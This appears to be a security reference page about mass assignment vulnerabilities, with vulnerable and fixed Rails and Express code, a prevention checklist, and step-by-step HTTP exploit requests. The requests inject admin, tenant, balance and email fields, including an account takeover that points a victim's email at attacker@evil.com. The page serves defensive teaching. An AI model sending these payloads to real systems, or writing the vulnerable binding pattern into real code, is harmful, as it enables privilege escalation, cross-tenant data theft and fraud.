Mass Assignment

Overly Permissive BindingObject Property Injection (OPI)

Mass Assignment at a glance

What it is: The server binds client-supplied data directly to domain objects, letting attackers set sensitive fields like role, is_admin, tenant_id, or balance.
Why it happens: Leads to privilege escalation and account takeover without exploiting other bugs
How to fix: Accept input via narrow DTOs or strong parameter allow lists; Never trust client-supplied values for privileged attributes; Mark sensitive fields read-only, guard at model/service layers, and add tests for negative cases

Overview

Mass assignment happens when frameworks or ORMs map request parameters onto object fields automatically. If the mapping includes privileged fields, an attacker can set them by adding those fields to the request. Common examples are role escalation, setting is_admin, changing tenant_id, or flipping is_staff through automatically bound models or serializers.

sequenceDiagram participant Browser participant App as App Server participant DB as Database Browser->>App: PUT /me {"name":"Hi","is_admin":true} App->>DB: UPDATE users SET name='Hi', is_admin=true WHERE id=me App-->>Browser: 200 OK note over App,DB: Automatic binding wrote a privileged field
A potential flow for a Mass Assignment exploit

Where it occurs

It appears in controllers that pass request bodies directly to update or save, in serializers configured with fields='all', in entity binding of @RequestBody payloads, or when a model has wide write access by default. Multi-tenant systems are especially at risk when tenant_id is writable.

Impact

Attackers can escalate privileges, access other tenants' data, alter billing plans, or grant themselves capabilities reserved for admins or staff. Since changes look like normal updates, incidents can be subtle and long lived.

Prevention

Use explicit allow lists. Bind to narrow DTOs or strong parameter sets and copy fields individually. Mark sensitive fields read-only. Validate authorization at the service or data layer and ignore client-supplied tenant or role identifiers. Add tests that try to set privileged fields and ensure they are rejected or ignored.

Examples

Switch tabs to view language/framework variants.

Rails, mass assignment lets users elevate role via params

Controller passes user-controlled params to update, so protected attributes like role can be changed.

Vulnerable
Ruby • Rails — Bad
class UsersController < ApplicationController
  def update
    @user = current_user
    @user.update(params[:user]) # BUG
    render json: { ok: true }
  end
end
  • Line 4: Unfiltered params enable writing to protected attributes

Rails will assign any attributes present unless you filter them. Attackers add privileged fields to the JSON.

Secure
Ruby • Rails — Good
class UsersController < ApplicationController
  def update
    @user = current_user
    @user.update(user_params)
    render json: { ok: true }
  end
  private
  def user_params
    params.require(:user).permit(:display_name, :bio)
  end
end
  • Line 9: Strong parameters allow only explicit fields

Use strong parameters and never rely on client-side hidden fields to protect sensitive attributes.

Engineer Checklist

  • Bind to narrow DTOs or use strong parameter allow lists

  • Mark privileged fields read-only and remove public setters

  • Never accept tenant_id, role, or is_admin from clients

  • Enforce authorization at service or data layer, not only in controllers

  • Add negative tests that try to set privileged fields and must fail

End-to-End Example

A profile edit endpoint accepts JSON and uses automatic binding to update the user entity. Attackers include is_admin in the payload and the change persists. The activity blends in with normal traffic.

Vulnerable
RUBY
// Node.js/Express + Mongoose - Vulnerable mass assignment

app.put('/api/users/me', authenticateToken, async (req, res) => {
  try {
    const userId = req.user.id;
    
    // VULNERABLE: Directly passing request body to model update
    // Attacker can send: { name: "Bob", is_admin: true, role: "admin", balance: 999999 }
    // All fields get updated without filtering!
    const updatedUser = await User.findByIdAndUpdate(
      userId,
      req.body,  // DANGEROUS - accepts any field from client
      { new: true, runValidators: true }
    );
    
    res.json({
      id: updatedUser.id,
      name: updatedUser.name,
      email: updatedUser.email,
      role: updatedUser.role,
      is_admin: updatedUser.is_admin
    });
  } catch (err) {
    res.status(500).json({ error: 'Server error' });
  }
});

// ALSO VULNERABLE: Django REST Framework with fields='__all__'
app.post('/api/accounts', authenticateToken, async (req, res) => {
  // VULNERABLE: Binding all request fields to model
  // If schema has tenant_id, user can set it to access other tenants
  const account = new Account(req.body);  // Mass assigns all fields
  account.owner_id = req.user.id;  // Too late! tenant_id already set
  await account.save();
  
  res.json(account);
});
Secure
RUBY
// Node.js/Express + Mongoose - SECURE with whitelisted fields

app.put('/api/users/me', authenticateToken, async (req, res) => {
  try {
    const userId = req.user.id;
    
    // SECURE: Explicitly whitelist allowed fields
    const allowedFields = ['name', 'email', 'bio', 'avatar_url'];
    const updateData = {};
    
    for (const field of allowedFields) {
      if (req.body[field] !== undefined) {
        updateData[field] = req.body[field];
      }
    }
    
    // Only whitelisted fields are updated
    const updatedUser = await User.findByIdAndUpdate(
      userId,
      updateData,
      { new: true, runValidators: true }
    );
    
    res.json({
      id: updatedUser.id,
      name: updatedUser.name,
      email: updatedUser.email,
      bio: updatedUser.bio
    });
  } catch (err) {
    res.status(500).json({ error: 'Server error' });
  }
});

// ALTERNATIVE: Use DTO/validation library
const { body, validationResult } = require('express-validator');

app.put('/api/users/me',
  authenticateToken,
  // Define exactly which fields are allowed
  body('name').optional().isString().trim().isLength({ min: 1, max: 100 }),
  body('email').optional().isEmail().normalizeEmail(),
  body('bio').optional().isString().isLength({ max: 500 }),
  async (req, res) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }
    
    const userId = req.user.id;
    const { name, email, bio } = req.body;
    
    // Only validated fields are accessible
    const updatedUser = await User.findByIdAndUpdate(
      userId,
      { name, email, bio },
      { new: true }
    );
    
    res.json(updatedUser);
  }
);

// SECURE: Multi-tenant with protected tenant_id
app.post('/api/accounts', authenticateToken, async (req, res) => {
  const userId = req.user.id;
  const userTenantId = req.user.tenant_id;  // From authenticated session
  
  // SECURE: Only accept safe fields, set tenant_id from session
  const account = new Account({
    name: String(req.body.name || ''),
    description: String(req.body.description || ''),
    // CRITICAL: Set tenant_id from authenticated user, NOT from request
    tenant_id: userTenantId,
    owner_id: userId
  });
  
  await account.save();
  res.json(account);
});

Discovery

This vulnerability is discovered by inspecting request parameters accepted by create/update endpoints and testing whether adding unexpected fields (like is_admin=true or role=administrator) modifies protected attributes that should not be user-controllable.

  1. 1. Baseline profile update

    http

    Action

    Submit normal profile update to establish baseline

    Request

    PUT https://api.example.com/api/users/me
    Headers:
    Content-Type: application/json
    Authorization: Bearer user_token_xyz
    Body:
    {
      "name": "John Doe",
      "email": "john@example.com"
    }

    Response

    Status: 200
    Body:
    {
      "user": {
        "id": "user_123",
        "name": "John Doe",
        "email": "john@example.com",
        "role": "user",
        "is_admin": false
      },
      "message": "Profile updated"
    }

    Artifacts

    baseline_established accepted_fields_identified
  2. 2. Test privilege field injection

    http

    Action

    Inject is_admin and role fields

    Request

    PUT https://api.example.com/api/users/me
    Headers:
    Content-Type: application/json
    Authorization: Bearer user_token_xyz
    Body:
    {
      "name": "John Doe",
      "email": "john@example.com",
      "is_admin": true,
      "role": "administrator"
    }

    Response

    Status: 200
    Body:
    {
      "user": {
        "id": "user_123",
        "name": "John Doe",
        "email": "john@example.com",
        "role": "administrator",
        "is_admin": true
      },
      "message": "Profile updated",
      "note": "Mass assignment vulnerability! Privileged fields accepted without validation"
    }

    Artifacts

    mass_assignment_confirmed privilege_escalation admin_access_granted
  3. 3. Test tenant_id manipulation

    http

    Action

    Attempt to switch to different tenant/organization

    Request

    PUT https://api.example.com/api/users/me
    Headers:
    Content-Type: application/json
    Authorization: Bearer user_token_xyz
    Body:
    {
      "name": "John Doe",
      "tenant_id": "competitor_tenant_999",
      "organization_id": "target_org_456"
    }

    Response

    Status: 200
    Body:
    {
      "user": {
        "id": "user_123",
        "tenant_id": "competitor_tenant_999",
        "organization_id": "target_org_456",
        "accessible_data": "Now viewing competitor's data"
      },
      "note": "Tenant isolation bypassed via mass assignment"
    }

    Artifacts

    tenant_isolation_bypass cross_tenant_access organization_switch
  4. 4. Test financial field manipulation

    http

    Action

    Modify balance, credits, or subscription tier

    Request

    PUT https://api.example.com/api/users/me
    Headers:
    Content-Type: application/json
    Authorization: Bearer user_token_xyz
    Body:
    {
      "name": "John Doe",
      "balance": 999999.99,
      "credits": 999999,
      "subscription_tier": "enterprise"
    }

    Response

    Status: 200
    Body:
    {
      "user": {
        "balance": 999999.99,
        "credits": 999999,
        "subscription_tier": "enterprise",
        "features_unlocked": [
          "unlimited_api_calls",
          "premium_support",
          "advanced_analytics"
        ]
      },
      "note": "Payment bypass! Account credited without transaction"
    }

    Artifacts

    payment_bypass balance_manipulation subscription_fraud

Exploit steps

An attacker exploits this by injecting privileged fields into update requests (e.g., {email: 'new@example.com', is_admin: true}) to escalate privileges, bypass payment requirements, or manipulate internal state.

  1. 1. Escalate to administrator

    Grant full admin privileges

    http

    Action

    Set is_admin=true and role=administrator via mass assignment

    Request

    PUT https://api.example.com/api/users/me
    Headers:
    Content-Type: application/json
    Authorization: Bearer attacker_token
    Body:
    {
      "name": "Attacker",
      "email": "attacker@evil.com",
      "is_admin": true,
      "role": "administrator",
      "is_superuser": true,
      "permissions": [
        "*"
      ]
    }

    Response

    Status: 200
    Body:
    {
      "user": {
        "id": "user_789",
        "is_admin": true,
        "role": "administrator",
        "is_superuser": true,
        "permissions": [
          "*"
        ]
      },
      "admin_panel_url": "https://app.example.com/admin",
      "note": "Full administrator access granted"
    }

    Artifacts

    privilege_escalation admin_access superuser_privileges unrestricted_permissions
  2. 2. Cross-tenant data breach

    Switch to victim tenant

    http

    Action

    Change tenant_id to access competitor organization's data

    Request

    PUT https://api.example.com/api/users/me
    Headers:
    Content-Type: application/json
    Authorization: Bearer attacker_token
    Body:
    {
      "tenant_id": "victim_corp_123",
      "organization_id": "victim_org"
    }

    Response

    Status: 200
    Body:
    {
      "user": {
        "tenant_id": "victim_corp_123",
        "accessible_data": {
          "customers": 15430,
          "revenue": "$12.5M",
          "projects": [
            "Confidential Project X",
            "Secret Initiative Y"
          ],
          "employees": 250
        }
      },
      "note": "Complete access to victim tenant's data"
    }

    Artifacts

    tenant_isolation_breach cross_tenant_data_access competitor_intelligence confidential_data_exposed
  3. 3. Financial fraud via balance manipulation

    Grant unlimited account balance

    http

    Action

    Set balance and credits to bypass payment requirements

    Request

    PUT https://api.example.com/api/users/me
    Headers:
    Content-Type: application/json
    Authorization: Bearer attacker_token
    Body:
    {
      "balance": 999999.99,
      "credits": 999999,
      "subscription_tier": "enterprise",
      "payment_verified": true,
      "lifetime_subscription": true
    }

    Response

    Status: 200
    Body:
    {
      "user": {
        "balance": 999999.99,
        "credits": 999999,
        "subscription_tier": "enterprise",
        "payment_verified": true
      },
      "fraud_impact": "$999,999.99 in fraudulent credits",
      "revenue_loss": "Potential millions if exploited at scale"
    }

    Artifacts

    payment_fraud revenue_loss subscription_bypass financial_manipulation
  4. 4. Account takeover via email modification

    Hijack another user's account

    http

    Action

    Include user_id in request to modify victim's email address

    Request

    PUT https://api.example.com/api/users/update
    Headers:
    Content-Type: application/json
    Authorization: Bearer attacker_token
    Body:
    {
      "user_id": "victim_user_456",
      "email": "attacker@evil.com",
      "email_verified": true,
      "mfa_enabled": false
    }

    Response

    Status: 200
    Body:
    {
      "message": "User updated",
      "user": {
        "id": "victim_user_456",
        "email": "attacker@evil.com",
        "email_verified": true,
        "mfa_enabled": false
      },
      "attack_path": "Password reset sent to attacker@evil.com → Full account takeover"
    }

    Artifacts

    account_takeover email_hijack mfa_bypass victim_lockout

Specific Impact

Unauthorized role elevation lets attackers access admin panels and sensitive data. If tenant_id is writable, cross-tenant data exposure can occur silently.

Incident response is complicated because the changes appear as normal updates, so detection relies on policy checks and audit logs.

Fix

Introduce input DTOs or strong parameters and copy fields explicitly. Mark privileged fields as read-only at the model or serializer level. Enforce authorization in the service layer and add negative tests to prevent regressions.

Detect This Vulnerability in Your Code

Sourcery automatically identifies mass assignment vulnerabilities and many other security issues in your codebase.

Scan Your Code for Free